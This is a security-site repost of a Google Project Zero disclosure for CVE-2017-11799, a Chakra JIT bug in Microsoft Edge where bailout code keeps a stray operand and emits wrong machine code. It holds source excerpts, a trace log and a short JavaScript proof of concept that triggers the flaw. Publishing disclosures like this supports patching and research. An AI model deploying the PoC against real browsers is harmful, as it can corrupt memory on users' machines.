首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge Chakra JIT Incorrect GenerateBailOut Calling Patterns
来源:Google Security Research 作者:lokihardt 发布时间:2017-10-16  
 Microsoft Edge: Chakra: JIT: Incorrect GenerateBailOut calling patterns 

CVE-2017-11799


Bailout:
"ChakraCoreas background JIT compiler generates highly optimized JITaed code based upon the data and infers likely usage patterns based on the profile data collected by the interpreter. Given the dynamic nature of JavaScript code, if the code gets executed in a way that breaks the profile assumptions, the JITaed code abails outa to the interpreter where the slower bytecode execution restarts while continuing to collect more profile data."

From <a href="https://github.com/Microsoft/ChakraCore/wiki/Architecture-Overview" title="" class="" rel="nofollow">https://github.com/Microsoft/ChakraCore/wiki/Architecture-Overview</a>



One of the ways to generate bailouts in Chakra is to directly change the opcode of an instruction that can't be JITed. This is performed by the method "Lowerer::GenerateBailOut".


Here's a snippet of Lowerer::GenerateBailOut.
    ...
    // Call the bail out wrapper
    instr->m_opcode = Js::OpCode::Call;
    if(instr->GetDst())
    {
        // To facilitate register allocation, don't assign a destination. The result will anyway go into the return register,
        // but the register allocator does not need to kill that register for the call.
        instr->FreeDst();
    }
    instr->SetSrc1(IR::HelperCallOpnd::New(helperMethod, this->m_func));
    m_lowererMD.LowerCall(instr, 0);

Here's some calling patterns of the method.

1.
instr->FreeSrc1();
instr->FreeSrc2();
this->GenerateBailOut(instr);

2.
stElem->FreeSrc1();
stElem->FreeDst();
GenerateBailOut(stElem, nullptr, nullptr);

Judging from the method code that doesn't care about "Src2" and the calling patterns, freeing or unlinking "Src1" and "Src2" is up to the callers. I could spot some points that don't free or unlink an instuction's "Src2", despite the instruction has "Src2". In these cases, it ends up to be converted to "Js::OpCode::Call" with "Src2". So, what happens if a Call instruction has "Src2"?

Here's the trace log of the PoC.
$L13: [helper]
                                                                                
    s51<-48>        =  MOV            s51(<a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>)                                  4C 89 6D D0 
    (rdi).u64       =  MOV            0xXXXXXXXX (BailOutRecord).u64            48 BF 78 23 00 7C 17 7F 00 00 
    (rax).u64       =  MOV            SaveAllRegistersAndBailOut.u64            48 B8 20 92 19 93 1F 7F 00 00 
                       CALL           (rax).u64, s51(<a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>)                       49 FF C5 
                       JMP            $L14                                      E9 00 00 00 00 
                       StatementBoundary  #-1                                   


"CALL  (rax).u64, s51(<a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>)" is what Chakra wanted to generate(despite CALLs don't take the second operand). "49 FF C5" is x86-64 code actually generated and disassembled as "inc <a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>". This also means there's a bug in the x86-64 assembler.


PoC bug:
The following buggy method is used to convert a St*Fld instruction to a bailout. Unlike just "StFld" instructions, "StSuperFld" instructions take "Src2" as "this". So the following method should have freed "Src2".

bool
Lowerer::GenerateStFldWithCachedType(IR::Instr *instrStFld, bool* continueAsHelperOut, IR::LabelInstr** labelHelperOut, IR::RegOpnd** typeOpndOut)
{
    ...
        instrStFld->m_opcode = Js::OpCode::BailOut;
        instrStFld->FreeSrc1();
        <<----------- should call FreeSrc2
        instrStFld->FreeDst();

        this->GenerateBailOut(instrStFld);
    ...
}

PoC:
class MyClass {
    constructor() {
        this.arr = [1, 2, 3];
    }

    f() {
        super.arr = [1];
        this.x;  // for passing BackwardPass::DeadStoreTypeCheckBailOut ?
    }
}

let c = new MyClass();
for (let i = 0; i < 0x10000; i++) {
    c.f();
}


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Opentext Documentum Content Se
·Microsoft Edge Chakra JIT Fail
·Opentext Documentum Content Se
·Microsoft Edge Chakra StackScr
·Opentext Documentum Content Se
·Webmin 1.850 SSRF / CSRF / Cro
·Opentext Documentum Content Se
·Micro Focus VisiBroker C++ 8.5
·Sync Breeze Enterprise 10.1.16
·Microsoft Windows - 'nt!NtQuer
·Windows Escalate UAC Protectio
·Linux Kernel - 'AF_PACKET' Use
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved